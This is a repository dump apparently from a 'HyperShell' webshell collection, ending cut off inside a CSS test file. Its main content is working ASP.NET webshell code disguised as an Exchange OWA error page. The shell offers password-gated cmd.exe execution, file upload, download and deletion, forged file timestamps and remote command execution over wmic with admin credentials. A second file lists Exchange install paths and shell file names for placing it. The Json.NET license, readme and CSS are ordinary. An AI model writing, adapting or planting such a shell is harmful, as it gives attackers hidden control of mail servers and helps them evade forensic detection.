methodID=int.Parse(fb(t[\"m\"]));selectedMethod=(method)methodID;}catch{rm();}\r\np=fb(t[\"p\"]);\r\nadminU=fb(t[\"adminU\"]);\r\nadminP=fb(t[\"adminP\"]);\r\nif(!string.IsNullOrEmpty(p) && login(p)){\r\nswitch(selectedMethod){\r\ncase method.auth:\r\ncase method.authAjax:auth(p);break;\r\ncase method.command:\r\ncase method.commandAjax:command(fb(t[\"cmd\"]));break;\r\ncase method.upload:upload(HttpContext.Current.Request.Files[\"uploadFile\"],fb(t[\"uploadPath\"]));break;\r\ncase method.download:download(fb(t[\"don\"]),fb(t[\"isdel\"]));break;\r\ncase method.downloadTest:downloadTest(fb(t[\"don\"]));break;\r\ncase method.explorer:exp(fb(t[\"exadd\"]));break;\r\ncase method.getsize:gsize(fb(t[\"gsize\"]));break;\r\ncase method.getlocation:\r\ncase method.getlocationAjax:response(getLoc());break;\r\ncase method.rename:rename(fb(t[\"rename1\"]),fb(t[\"rename2\"]));break;\r\ncase method.copy:copy(fb(t[\"copy1\"]),fb(t[\"copy2\"]));break;\r\ncase method.view:view(fb(t[\"view\"]));break;\r\ncase method.delete:delete(fb(t[\"delete\"]));break;\r\ncase method.multiDelete:multiDelete(fb(t[\"delete\"]));break;\r\ncase method.changeTime:changeTime(fb(t[\"timeh\"]),fb(t[\"tfil\"]),fb(t[\"ttar\"]),fb(t[\"ttim\"]));break;\r\ndefault:break;\r\n}\r\n}\r\nelse rm();\r\n}\r\ncatch(Exception ex){if(!isInner)response(\"Error : \"+ex.Message);}\r\n%>\r\n<script runat=\"server\">\r\nbool isInner = true;\r\nenum method{auth=0,command=1,upload=2,uploadbase64=3,delete=4,download=5,changeTime=6,sqlQuery=7,explorer=8,getsize=9,getlocation=10,rename=11,copy=12,view=13,commandAjax=14,downloadTest=15,checkModules=16,installModule=17,uninstallModule=18,cmd7z=19,authAjax=20,getlocationAjax=21,multiDelete=24};\r\nstring salt=\"sdfewq@#$51234234DF@#$!@#$ASDF\";\r\nstring p,adminU,adminP;\r\nbool aut=false;\r\nstring pp=\"J3ugYdknpax1ZbHB2QILB5NS6dVa0iUD0mhhBPv0Srw=\";\r\nstring a(string a,string b){return string.IsNullOrEmpty(a)?b:a;}\r\nstring tb(string a){string ret=\"\";try{ret=string.IsNullOrEmpty(a)?a:Convert.ToBase64String(Encoding.UTF8.GetBytes(a));}catch{}return ret;}\r\nstring fb(string a){string ret=\"\";try{ret=string.IsNullOrEmpty(a)?a:Encoding.UTF8.GetString(Convert.FromBase64String(a));}catch{}return ret;}\r\nvoid rm(){if(!isInner){Response.Redirect(Request.Url.AbsolutePath.Substring(0,Request.Url.AbsolutePath.LastIndexOf(\"/\")+1)+\" \"+Request.Url.AbsolutePath.Substring(Request.Url.AbsolutePath.LastIndexOf(\"/\")+1));}}\r\nvoid auth(string p){string ret=string.Empty;try{ret=string.Format(\"{{\\\"auth\\\":\\\"{0}\\\",\\\"loc\\\":\\\"{1}\\\"}}\",login(p).ToString(),tb(getLoc()));}catch(Exception e){ret=\"Error : \"+e.Message;}response(ret);}\r\nbool login(string p){bool aut=false;try{if(!string.IsNullOrEmpty(p)){aut=Convert.ToBase64String(new System.Security.Cryptography.SHA256CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(p+salt)))==pp;}}catch(Exception e){response(e.Message);}return aut;}\r\nvoid command(string cmd){string ret=\"Error : -\";try{string o=exec(cmd);o=o.Remove(0,o.IndexOf(Environment.NewLine)+2);o=o.Remove(0,o.IndexOf(Environment.NewLine)+2);o=o.Remove(0,o.IndexOf(Environment.NewLine));o=o.Remove(o.LastIndexOf(Environment.NewLine));o=o.Remove(o.LastIndexOf(Environment.NewLine)+2);ret=HttpUtility.HtmlEncode(o);}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\nvoid upload(HttpPostedFile uploadFile,string uploadPath){string ret=\"Error : -\";try{if(System.IO.Path.IsPathRooted(uploadPath)){string FileName=System.IO.Path.GetFileName(uploadFile.FileName);string FilePath=uploadPath.TrimEnd('\\\\')+\"\\\\\";if(string.IsNullOrEmpty(System.IO.Path.GetExtension(uploadPath))){if(!System.IO.Directory.Exists(uploadPath)){if(!string.IsNullOrEmpty(System.IO.Path.GetFileName(uploadPath))){FileName=System.IO.Path.GetFileName(uploadPath);FilePath=System.IO.Path.GetDirectoryName(uploadPath)+\"\\\\\";}}}else{FileName=System.IO.Path.GetFileName(uploadPath);FilePath=System.IO.Path.GetDirectoryName(uploadPath)+\"\\\\\";}if(!System.IO.Directory.Exists(FilePath))System.IO.Directory.CreateDirectory(FilePath);uploadFile.SaveAs(FilePath+FileName);ret=\"File uploaded successfully : \"+FilePath+FileName;}else ret=\"Error : The path is not current format \\\"\"+uploadPath+\"\\\"\";}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}string getLoc(){return Server.MapPath(string.Empty)+\"\\\\\";}\r\nvoid downloadTest(string don){string ret=\"Error : -\";try{if(!string.IsNullOrEmpty(don)){using(System.IO.Stream stream=new System.IO.FileStream(don,System.IO.FileMode.Open)){ret=string.Format(\"File '{0}' is ready for download\",don);}}}catch(Exception e){ret=\"Error : \"+e.Message;}response(ret);}\r\nvoid download(string don, string isdel){string ret=\"Error : -\";try{if(!string.IsNullOrEmpty(don)){System.Web.HttpResponse response=System.Web.HttpContext.Current.Response;response.ClearContent();response.Clear();response.ClearHeaders();response.ContentType=\"application/octet-stream\";response.AppendHeader(\"Content-Disposition\",\"attachment;size=\"+new System.IO.FileInfo(don).Length+\";filename=\"+HttpUtility.UrlEncode(tb(System.IO.Path.GetFileName(don))));response.WriteFile(don);response.Flush();Response.SuppressContent=true;ApplicationInstance.CompleteRequest();}}catch(Exception e){ret=\"Error : \"+e.Message;response(ret);}}\r\nstring exec(string cmd,string pro=\"\"){System.Diagnostics.Process n=new System.Diagnostics.Process();n.StartInfo.FileName=(string.IsNullOrEmpty(pro)?\"cmd.exe\":pro);n.StartInfo.UseShellExecute=false;n.StartInfo.RedirectStandardInput=true;n.StartInfo.RedirectStandardOutput=true;n.StartInfo.RedirectStandardError=true;n.StartInfo.CreateNoWindow=true;string o=null;n.Start();n.StandardInput.WriteLine(cmd);n.StandardInput.WriteLine(\"exit\");o=n.StandardOutput.ReadToEnd();n.WaitForExit();n.Close();return o;}\r\nvoid gsize(string addr){string ret=\"Error : -\";try{hasErrorInGetSize=false;long size=GetDirSize(new System.IO.DirectoryInfo(addr));ret=sizeFix(size);if(hasErrorInGetSize && sizelvl==0)ret=sizeError;else if(hasErrorInGetSize)ret=\"!\"+ret;}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\nvoid view(string path){string ret=\"You are viewing the contents of this file : \"+path+Environment.NewLine;try{ret+=System.IO.File.ReadAllText(path);}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(HttpUtility.HtmlEncode(ret));}\r\nvoid delete(string path){string ret=\"Error : -\";try{System.IO.File.Delete(path);ret=string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"dirInfo\\\":\\\"{1}\\\"}}\",tb(string.Format(\"File '{0}' successfuly deleted{1}\",path,Environment.NewLine)),tb(getDirectoryInfo(System.IO.Path.GetDirectoryName(path))));}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\nvoid multiDelete(string files){string ret=\"Error : -\";try{string[] f=files.Split('|');ret=string.Format(\"All '{0}' files successfuly deleted.\", f.Length);foreach(string item in f){System.IO.File.Delete(fb(item));}}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\nvoid rename(string oldName,string newName){string ret=\"Error : -\";try{if(newName.EndsWith(\"\\\\\"))newName+=System.IO.Path.GetFileName(oldName);System.IO.File.Move(oldName,newName);ret=string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"dirInfo\\\":\\\"{1}\\\"}}\",tb(string.Format(\"File '{0}' successfuly moved to '{1}'{2}\",oldName,newName,Environment.NewLine)),tb(getDirectoryInfo(System.IO.Path.GetDirectoryName(oldName))));}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\nvoid copy(string oldName,string newName){string ret=\"Error : -\";try{if(newName.EndsWith(\"\\\\\"))newName+=System.IO.Path.GetFileName(oldName);System.IO.File.Copy(oldName,newName);ret=string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"dirInfo\\\":\\\"{1}\\\"}}\",tb(string.Format(\"File '{0}' successfuly copied to '{1}'{2}\",oldName,newName,Environment.NewLine)),tb(getDirectoryInfo(System.IO.Path.GetDirectoryName(oldName))));}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\nstring getDirectoryInfo(string address){string ret=\"Error : -\";try{if(address.ToLower()==\"root\"){ret=\"{\\\"dir\\\":[{\\\"name\\\":\\\"\\\\\\\\\\\\\\\\localhost\\\"}\";string netUse=exec(\"net use\");string[] lines=netUse.Split(new string[]{Environment.NewLine},StringSplitOptions.RemoveEmptyEntries);foreach(string item in lines){if(item.ToLower().StartsWith(\"ok\")){int index=item.IndexOf(\"\\\\\\\\\");ret+=\",{\\\"name\\\":\\\"\\\\\\\\\"+item.Substring(index,item.IndexOf('\\\\',index+2)-index)+\"\\\"}\";}}ret+=\"]}\";}else{if(address.StartsWith(\"\\\\\\\\\")&& address.Trim('\\\\').Split('\\\\').Count()==1){string tmp=address.ToLower().TrimEnd('\\\\');if(tmp==\"\\\\\\\\localhost\"){ret=\"{\\\"dir\\\":[\";bool isStart=false;foreach(System.IO.DriveInfo item in System.IO.DriveInfo.GetDrives()){if(item.IsReady){if(isStart)ret +=\",\";ret+=string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"totalSize\\\":\\\"{1}\\\",\\\"freeSpace\\\":\\\"{2}\\\",\\\"sizeText\\\":\\\"{3}\\\",\\\"format\\\":\\\"{4}\\\",\\\"type\\\":\\\"{5}\\\"}}\",item.Name.TrimEnd('\\\\').TrimEnd(':')+\"$\",item.TotalSize,item.TotalFreeSpace,\"[\"+sizeFix(item.TotalFreeSpace)+\"] free of [\"+sizeFix(item.TotalSize)+\"]\",item.DriveFormat,item.DriveType);isStart=true;}}ret+=\"]}\";}else{if(!string.IsNullOrEmpty(adminU)&& !string.IsNullOrEmpty(adminP)){string strWC=@\"wmic /node:{0} /user:{1} /password:{2} process call create \"\"cmd.exe /c > c:\\windows\\temp\\KMSHFX0023{3}.tmp 2>&1 wmic logicaldisk get {4}\"\" 2>&1\";string strWF=@\"\\\\{0}\\c$\\windows\\temp\\KMSHFX0023{1}.tmp\";string strWD=@\"del {0} 2>&1\";tmp=tmp.TrimStart('\\\\');exec(string.Format(strWC,tmp,adminU,adminP,1,\"Caption\"));exec(string.Format(strWC,tmp,adminU,adminP,2,\"FileSystem\"));exec(string.Format(strWC,tmp,adminU,adminP,3,\"Size\"));exec(string.Format(strWC,tmp,adminU,adminP,4,\"FreeSpace\"));exec(string.Format(strWC,tmp,adminU,adminP,5,\"Description\"));System.Threading.Thread.Sleep(3000);List<string> diskTemp=new List<string>();for(int i=1;i<=5;i++){string f=string.Format(strWF,tmp,i);string[] lDisk=System.IO.File.ReadAllLines(f);exec(string.Format(strWD,f));for(int j=1;j<lDisk.Length;j++){if(i==1)diskTemp.Add(lDisk[j]);else diskTemp[j-1]+=\"|\"+lDisk[j];}}ret=\"{\\\"dir\\\":[\";bool isStart=false;foreach(string item in diskTemp){string[] diskInfo=item.Split('|');long TotalSize=0;long TotalFreeSpace=0;long.TryParse(diskInfo[2],out TotalSize);long.TryParse(diskInfo[3],out TotalFreeSpace);if(isStart)ret+=\",\";ret+=string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"totalSize\\\":\\\"{1}\\\",\\\"freeSpace\\\":\\\"{2}\\\",\\\"sizeText\\\":\\\"{3}\\\",\\\"format\\\":\\\"{4}\\\",\\\"type\\\":\\\"{5}\\\"}}\",diskInfo[0].TrimEnd('\\\\').TrimEnd(' ').TrimEnd(':')+\"$\",TotalSize,TotalFreeSpace,\"[\"+sizeFix(TotalFreeSpace)+\"] free of [\"+sizeFix(TotalSize)+\"]\",diskInfo[1],diskInfo[4]);isStart=true;}ret+=\"]}\";}else ret=\"Error : Admin Username or Password is empty\";}}else{System.IO.FileAttributes attr=System.IO.File.GetAttributes(address);if((attr&System.IO.FileAttributes.Directory)==System.IO.FileAttributes.Directory){System.IO.DirectoryInfo dirInfo=new System.IO.DirectoryInfo(address);ret=\"{\"+string.Format(\"{0},{1}\",createJsonDirectory(dirInfo.GetDirectories()),createJsonFile(dirInfo.GetFiles()))+\"}\";}}}}catch(Exception ex){ret=\"Error : \"+ex.Message;}return ret;}\r\nvoid exp(string exadd){string ret=\"Error : -\";ret=getDirectoryInfo(exadd);response(ret);}\r\nbool hasErrorInGetSize=false;\r\nint sizelvl=0;\r\nstring sizeError;\r\nlong GetDirSize(System.IO.DirectoryInfo d){long size=0;try{System.IO.FileInfo[] fis=d.GetFiles();foreach(System.IO.FileInfo fi in fis){size+=fi.Length;}sizelvl++;System.IO.DirectoryInfo[] dis=d.GetDirectories();foreach(System.IO.DirectoryInfo di in dis){size+=GetDirSize(di);}}catch(UnauthorizedAccessException ex){sizeError=\"Error : \"+ex.Message;hasErrorInGetSize=true;}return size;}\r\nstring createJsonDirectory(System.IO.DirectoryInfo[] dir){string json=\"\\\"dir\\\":[\";for(int i=0;i<dir.Length;i++){if(i>0)json+=\",\";json+=string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"mdate\\\":\\\"{1}\\\"}}\",dir[i].Name,dir[i].LastWriteTime.ToString(\"yyyy-MM-dd\"));}json +=\"]\";return json;}\r\nstring createJsonFile(System.IO.FileInfo[] file){string json=\"\\\"file\\\":[\";for(int i=0;i<file.Length;i++){if(i>0)json+=\",\";json+=string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"size\\\":\\\"{1}\\\",\\\"mdate\\\":\\\"{2}\\\"}}\",file[i].Name,sizeFix(file[i].Length),file[i].LastWriteTime.ToString(\"yyyy-MM-dd\"));}json+=\"]\";return json;}\r\nstring sizeFix(long size){double s=size;if(s<1024)return s+\" B\";s=s/1024;if(s<1024)return Math.Round(s,2)+\" KB\";s=s/1024;if(s<1024)return Math.Round(s,2)+\" MB\";s=s/1024;if(s<1024)return Math.Round(s,2)+\" GB\";s=s/1024;return Math.Round(s,2)+\" TB\";}\r\nvoid response(string res){Response.Clear();Response.Write(tb(res));Response.Flush();Response.SuppressContent=true;ApplicationInstance.CompleteRequest();}\r\nvoid changeTime(string timeh,string tfil,string ttar,string ttim){string ret=\"Error : -\";try {if(!string.IsNullOrEmpty(tfil)){if(timeh==\"1\")ret=ti(tfil);else if(timeh==\"2\"){if(!string.IsNullOrEmpty(ttar)){System.IO.File.SetCreationTime(tfil,System.IO.File.GetCreationTime(ttar));System.IO.File.SetLastAccessTime(tfil,System.IO.File.GetLastAccessTime(ttar));System.IO.File.SetLastWriteTime(tfil,System.IO.File.GetLastWriteTime(ttar));ret=\"Time successfuly changed :<br>\"+tfil+\"<br>\"+ti(tfil);}}else if(timeh==\"3\"){if(!string.IsNullOrEmpty(ttim)){DateTime te=DateTime.Parse(ttim);System.IO.File.SetCreationTime(tfil,te);System.IO.File.SetLastAccessTime(tfil,te);System.IO.File.SetLastWriteTime(tfil,te);ret=\"Time successfuly changed :<br>\"+tfil+\"<br>\"+ti(tfil);}}}}catch(Exception e){ret=\"Error : \"+e.Message;}response(ret);}\r\nstring ti(string tt){return \"Creation Time :\\t\\t\"+System.IO.File.GetCreationTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\")+\"<br>Last Access Time :\\t\"+System.IO.File.GetLastAccessTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\")+\"<br>Last Write Time :\\t\"+System.IO.File.GetLastWriteTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\");}\r\n</script>\r\n</head>\r\n<body id=\"errorAspx\" class=\"err\">\r\n\r\n<div id=\"frContainer\" style=\"background:url('<% Response.Write(OwaUrl.ApplicationRoot.ImplicitUrl);RenderBackground(); %>') no-repeat;\">\r\n\t<div id=\"frHeader\">\r\n\t\t<img src=\"<% Response.Write(OwaUrl.ApplicationRoot.ImplicitUrl);RenderIcon(); %>\" style=\"vertical-align:middle; margin-right:16px;\" />\r\n\t\t<% RenderError(); %>\r\n\t</div>\r\n\t<div id=\"frContent\">\r\n\t\t<span class=\"frHeaderFont\">\r\n\t\t\t<% RenderErrorDetails(); %>\r\n\t\t</span>\r\n\t</div>\r\n</div>\r\n\r\n</body>\r\n</html>\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/checkbox.txt",
    "content": "var a = $('.objRight.objN');\r\nfor(var i = 0; i<a.length;i++)\r\n{\r\nif(Number($(a[i]).text().split('.')[2]) < 115)\r\n$(a[i]).parent().find('.checkbox').eq(0).checkbox('uncheck');\r\n}"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/shels/Shell exchange/path-2013.txt",
    "content": "\r\nC:\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\\r\n\r\ngetidtokens.aspx\r\nOutlookDC.aspx\r\n\r\n\r\nw;9uTJ0Dpm8(+4\\`0FwEjiFspa"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/Libraries/Json90r1/Source/Doc/license.txt",
    "content": "Copyright (c) 2007 James Newton-King\r\n\r\nPermission is hereby granted, free of charge, to any person obtaining a copy of this\r\nsoftware and associated documentation files (the \"Software\"), to deal in the Software\r\nwithout restriction, including without limitation the rights to use, copy, modify,\r\nmerge, publish, distribute, sublicense, and/or sell copies of the Software, and to\r\npermit persons to whom the Software is furnished to do so, subject to the following\r\nconditions:\r\n\r\nThe above copyright notice and this permission notice shall be included in all copies\r\nor substantial portions of the Software.\r\n\r\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,\r\nINCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A\r\nPARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\r\nHOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF\r\nCONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE\r\nOR THE USE OR OTHER DEALINGS IN THE SOFTWARE."
  },
  {
    "path": "Webshells_and_Panel/HyperShell/Libraries/Json90r1/Source/Doc/readme.txt",
    "content": "Json.NET\r\n\r\nhttp://www.newtonsoft.com/json\r\nhttps://github.com/JamesNK/Newtonsoft.Json\r\n\r\n\r\nDescription:\r\n\r\nJson.NET is a popular high-performance JSON framework for .NET\r\n\r\n-Flexible JSON serializer for converting between .NET objects and JSON\r\n-LINQ to JSON for manually reading and writing JSON\r\n-High performance, faster than .NET's built-in JSON serializers\r\n-Write indented, easy to read JSON\r\n-Convert JSON to and from XML\r\n-Supports .NET 2, .NET 3.5, .NET 4, .NET 4.5, Silverlight, Windows Phone and Windows 8 Store\r\n\r\n\r\nDocumentation:\r\n\r\nhttp://www.newtonsoft.com/json/help/\r\n\r\n\r\nVersions:\r\n\r\nJson.NET has different libraries for the various .NET Framework versions.\r\n\r\n-Net45:\r\n  .NET latest (4.5)\r\n\r\n-Net40:\r\n  .NET 4.0\r\n\r\n-Net35:\r\n  .NET 3.5\r\n\r\n-Net20:\r\n  .NET 2.0, Unity\r\n\r\n-Portable45:\r\n  .NET 4.5, Windows Phone 8, Windows 8 Store, .NET Core\r\n\r\n-Portable40:\r\n  .NET 4.0, Windows Phone 8, Windows 8 Store, Silverlight 5, MonoTouch, MonoDroid\r\n\r\n\r\nNotes:\r\n\r\nFor a Compact Framework 3.5 and Silverlight 3.0 builds download Json.NET 3.5\r\nFor a Silverlight 4.0 and Windows Phone 7 builds download Json.NET 5"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/Libraries/Json90r1/Source/Src/Newtonsoft.Json.Tests/PoisonText.txt",
    "content": "\r\n.foot A:visited\r\n{\r\n\tcolor: #000;\r\n}\r\n.topmenu li,.nav_account li\r\n{\r\n\tfloat: left;\r\n\tfont-size: 12px;\r\n\tlist-style-type: none;\r\n\tpadding: 5px 2px;\r\n}\r\n.tabLink,.tabLeft a,.tabLeft a:hover,.tabLeft a:visited\r\n{\r\n\tcolor: #fff;\r\n\tfont-size: 13px;\r\n\ttext-decoration: none;\r\n}\r\n.hidden,.none\r\n{\r\n\tdisplay: none;\r\n}\r\n.secondaryHeader\r\n{\r\n\tbackground: #3B5998 url(images/2009/space_header_bg.gif);\r\n\tcolor: #3B5998;\r\n\theight: 42px;\r\n\tmargin: 0 auto;\r\n\tpadding: 0 0px;\r\n\twidth: 990px;\r\n}\r\n.secondaryHeader A\r\n{\r\n\tCOLOR: #fff;\r\n\tTEXT-DECORATION: none;\r\n}\r\n.secondaryHeader A:visited\r\n{\r\n\tCOLOR: #fff;\r\n\tTEXT-DECORATION: none;\r\n}\r\n.secondaryHeader A:hover\r\n{\r\n\tCOLOR: #c00;\r\n\tTEXT-DECORATION: underline;\r\n}\r\n.secondaryHeader A:active\r\n{\r\n\tCOLOR: #c00;\r\n\tTEXT-DECORATION: underline;\r\n}\r\n.sHBorder\r\n{\r\n\tOVERFLOW: hidden;\r\n\tPADDING-BOTTOM: 0px;\r\n\tPADDING-LEFT: 12px;\r\n\tPADDING-RIGHT: 10px;\r\n\tPADDING-TOP: 0px;\r\n\tZOOM: 1;\r\n}\r\n.sHLogo\r\n{\r\n\tFLOAT: left;\r\n\tHEIGHT: 42px;\r\n\tLINE-HEIGHT: 42px;\r\n\tmargin: 0 5px 0 0;\r\n\tOVERFLOW: hidden;\r\n}\r\n.sHLogo SPAN\r\n{\r\n\tDISPLAY: block;\r\n\tFLOAT: left;\r\n\tFONT-FAMILY: Arial;\r\n\tHEIGHT: 42px;\r\n\toverflow: hidden;\r\n\tPADDING-RIGHT: 12px;\r\n}\r\n.sHLogo SPAN IMG\r\n{\r\n}\r\n.sHLinks\r\n{\r\n\tFLOAT: right;\r\n\tLINE-HEIGHT: 42px;\r\n}\r\n.sHBorder H1\r\n{\r\n\tFLOAT: left;\r\n\tfont-size: 12px;\r\n\tfont-weight: 400;\r\n\tmargin: 0;\r\n\tpadding: 0;\r\n}\r\nTABLE,TD,TR,TH\r\n{\r\n\tfont-size: 12px;\r\n}\r\n.newsbar\r\n{\r\n\tdisplay: block; \r\n\tbackground: transparent url(css/home/newsbar2.gif) repeat-x; \r\n\tpadding: 3px 0px; \r\n\tcolor: #000;\r\n\theight: 28px;\r\n\ttext-align: center;\r\n\ttext-decoration: none;\r\n}\r\n.newsbar .title\r\n{\r\n\tcolor: #333333;\r\n\tfont: 16px/26px ����;\r\n\ttext-align: center;\r\n\ttext-decoration: none;\r\n}\r\n.newsbar .title\r\n{\r\n\tcolor: #333333;\r\n\tfont: 16px/26px ����;\r\n\ttext-align: center;\r\n\ttext-decoration: none;\r\n}\r\n.newsbar .more\r\n{\r\n\r\n\tcolor: #172444;\r\n\tcursor: hand;\r\n\tfont-size: 12px;\r\n\tmarging: 1px;\r\n\tpadding: 1px;\r\n\ttext-align: center;\r\n\ttext-decoration: none;\r\n\r\n}\r\n.newsbar .more a\r\n{\r\n\tcolor: #990000;\r\n\ttext-decoration: none;\r\n}\r\n.newsbar .more a:hover\r\n{\r\n\tcolor: #2D5C3A;\r\n\ttext-decoration: underline;\r\n}\r\n.clearfix\r\n{\r\n\tclear: both;\r\n\tdisplay: block;\r\n}\r\n#boxcontent\r\n{\r\n\tclear: both;\r\n\tfont-size: 12px;\r\n\tmargin: 0 auto;\r\n\tmargin-bottom: 9px;\r\n\toverflow: hidden;\r\n}\r\n.threadbox\r\n{\r\n\tborder: 1px solid #739B6A;\r\n}\r\n\r\n\r\n.threadboxMore\r\n{\r\nbackground-image: url(/css/2010/podbottom_220.gif);\t\r\n\tfloat: left;\r\n\theight: 24px;\r\n\tmargin:0 auto;\r\n\twidth: 218px;\r\n\ttext-align: right;\r\n}\r\n.threadboxMore a { \r\n\ttext-decoration: none;\r\n\tbackground: transparent url(/css/2010/carrot_s.gif) no-repeat;\r\n\tbackground-position: 0 5px;\r\n\tcolor: #000066;\r\n\tpadding: 2px 10px 0 10px;\r\n\tposition: relative;\r\n\ttop: 4px;\r\n\tfloat: right;\r\n}\r\n.threadboxMore a:hover { color: red; text-decoration: underline; }\r\n\r\n\r\n.tbtn_l li\r\n{\r\n\tbackground-image: url('http://www.backchina.com/css/home/2010/title_bg1.jpg');\r\n\tbackground-repeat: repeat-x;\r\n\tborder-bottom: #739B6A 1px solid;\r\n\tborder-left-color: #739B6A;\r\n\tborder-left-width: 1px;\r\n\tborder-right: #739B6A 1px solid;\r\n\tborder-top-color: #739B6A;\r\n\tborder-top-width: 1px;\r\n\tcolor: #049;\r\n\tcursor: pointer;\r\n\tdisplay: block;\r\n\tfloat: left;\r\n\tfont-size: 13px;\r\n\theight: 25px;\r\n\tline-height: 25px;\r\n\ttext-align: center;\r\n\ttext-decoration: none;\r\n\ttext-indent: 1px;\r\n}\r\n.threadbox_pink\r\n{\r\n\tborder: 1px solid #EAA;\r\n}\r\n.threadbox_pink .tbtn_l li\r\n{\r\n\tbackground-image: url('http://www.backchina.com/css/home/2010/title_bg_r.gif');\r\n\tbackground-repeat: repeat-x;\r\n\tborder-bottom: #EAA 1px solid;\r\n\tborder-left-color: #EAA;\r\n\tborder-left-width: 1px;\r\n\tborder-right: #EAA 1px solid;\r\n\tborder-top-color: #EAA;\r\n\tcolor: #C00;\r\n}\r\n.threadbox_pink .tbtn_r\r\n{\r\n\tbackground-image: url('http://www.backchina.com/css/home/2010/title_bg_r.gif');\r\n\tbackground-repeat: repeat-x;\r\n\tborder-bottom: #EAA 1px solid;\r\n\tcolor: #C00;\r\n}\r\n.threadbox_pink .tbtn_l a:link,.threadbox_pink .tbtn_r a:link,.threadbox_pink .tbtn a:visited,.threadbox_pink .tbtn_r a:visited,.threadbox_pink .tbtn a:hover,.threadbox_pink .tbtn_r a:hover\r\n{\r\n\tcolor: #C00;\r\n}\r\n.tbtn_l li.curr\r\n{\r\n\tbackground: #fff;\r\n\tborder-bottom-color: #fff;\r\n\tcursor: default;\r\n\tfont-weight: 700;\r\n}\r\n.tbtn_l li.active\r\n{\r\n\tbackground: #fff;\r\n\tborder-bottom-color: #fff;\r\n\tcursor: default;\r\n\tfont-weight: 700;\r\n}\r\n.tbtn_r\r\n{\r\n\tbackground-image: url('http://www.backchina.com/css/home/2010/title_bg1.jpg');\r\n\tbackground-repeat: repeat-x;\r\n\tborder-bottom: #739B6A 1px solid;\r\n\tcolor: #049;\r\n\tfloat: left;\r\n\theight: 25px;\r\n\tline-height: 25px;\r\n\ttext-align: right;\r\n}\r\n.tbcontent\r\n{\r\n\tfloat: left;\r\n\tfont-size: 13px;\r\n\toverflow: hidden;\r\n\twidth: 100%;\t\t\r\n}\r\n.tbcontent LI\r\n{\r\n\tclear: both;\r\n\theight: 26px;\r\n\twidth: 100%;\t\r\n\tline-height: 26px;\r\n\tlist-style-type: none;\r\n\toverflow: hidden;\r\n\ttext-align: left;\r\n\ttext-overflow: ellipsis;\r\n\twhite-space: nowrap;\r\n\r\n}\r\n\r\n\r\n.tbcontent LI .fnav\r\n{\r\n\tcolor: #00a;\r\n\tpadding-right:3px;\r\n}\r\n\r\n.tbcontent LI A:link\r\n{\r\n\tcolor: #00a;\r\n\r\n}\r\n.tbcontent LI A:hover\r\n{\r\n\tcolor: red;\r\ntext-decoration: underline;\r\n}\r\n.tbcontent .updated\r\n{\r\n\tcolor: red;\r\n\tfont-size: 11px;\r\n\tmargin-left: 3px;\r\n\tvertical-align: super;\r\n}\r\n.hltab\r\n{\r\n\tborder-bottom-color: #739B6A;\r\n\tborder-bottom-style: solid;\r\n\tborder-bottom-width: 1px;\r\n\theight: 21px;\r\n\tmargin: 0 8px;\r\n}\r\n.tit1\r\n{\r\n\tfloat: left;\r\n\tline-height: 20px;\r\n\tmargin-left: 3px;\r\n}\r\n.shadowline\r\n{\r\n\tborder-bottom-color: #FFF;\r\n\tborder-top-color: #C8DCEC;\r\n\tborder-width: 1px 0;\r\n\tclear: both;\r\n\theight: 1px;\r\n\tmargin: 0 auto;\r\n\tpadding-left: 12px;\r\n\twidth: 100%;\r\n}\r\n\r\n.micon\r\n{\r\n\tfloat: left;\r\n\theight: 19px;\r\n\tmargin-left: 5px;\r\n\tmargin-right: 0px;\r\n\tmargin-top: 4px;\r\n\toutline: none;\r\n\tpadding-right: 1px;\r\n\twidth: 19px;\r\n}\r\n.blogguideHeader\r\n{\r\n\tbackground: #3B5998 url(images/2011/bogguide_bg.gif);\r\n\tcolor: #3B5998;\r\n\theight: 40px;\r\n\tmargin: 0 auto;\r\n\tpadding: 0 0px;\r\n\twidth: 302px;\r\n}\r\n.bbsguideHeader\r\n{\r\n\tbackground: #3B5998 url(images/2011/bbsguide_bg.gif);\r\n\tcolor: #3B5998;\r\n\theight: 40px;\r\n\tmargin: 0 auto;\r\n\tpadding: 0 0px;\r\n\twidth: 302px;\r\n}\r\n.clubguideHeader\r\n{\r\n\tbackground: #3B5998 url(images/2011/clubguide_bg.gif);\r\n\tcolor: #3B5998;\r\n\theight: 40px;\r\n\tmargin: 0 auto;\r\n\tpadding: 0 0px;\r\n\twidth: 302px;\r\n}\r\n.infoguideHeader\r\n{\r\n\tbackground: #3B5998 url(images/2011/infoguide_bg.gif);\r\n\tcolor: #3B5998;\r\n\tfloat: right;\r\n\theight: 40px;\r\n\tmargin: 0 